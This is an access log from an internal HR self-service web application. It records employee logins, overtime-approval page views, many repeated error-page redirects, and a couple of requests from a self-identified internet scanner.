/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:16 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:16 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.60 - - [05/Dec/2025:11:02:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:02:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.11.60 - - [05/Dec/2025:11:02:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:02:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [05/Dec/2025:11:02:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:02:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [05/Dec/2025:11:02:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:02:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [05/Dec/2025:11:03:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:03:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [05/Dec/2025:11:03:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:03:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [05/Dec/2025:11:03:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165677 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:03:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165677 192.168.11.60 - - [05/Dec/2025:11:03:32 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1364927 HTTP/1.1" 200 5650 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:11:03:32 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1364927 HTTP/1.1" 200 5650 100.64.0.1 - - [05/Dec/2025:11:38:56 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [05/Dec/2025:11:38:56 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:11:40:06 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [05/Dec/2025:11:40:06 +0800] "GET / HTTP/1.0" 200 439 192.168.40.52 - - [05/Dec/2025:11:40:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [05/Dec/2025:11:40:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [05/Dec/2025:11:40:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [05/Dec/2025:11:40:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.52 - - [05/Dec/2025:11:40:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 38573 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 38573 192.168.40.52 - - [05/Dec/2025:11:40:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132746%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132746&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132746%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132746&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET 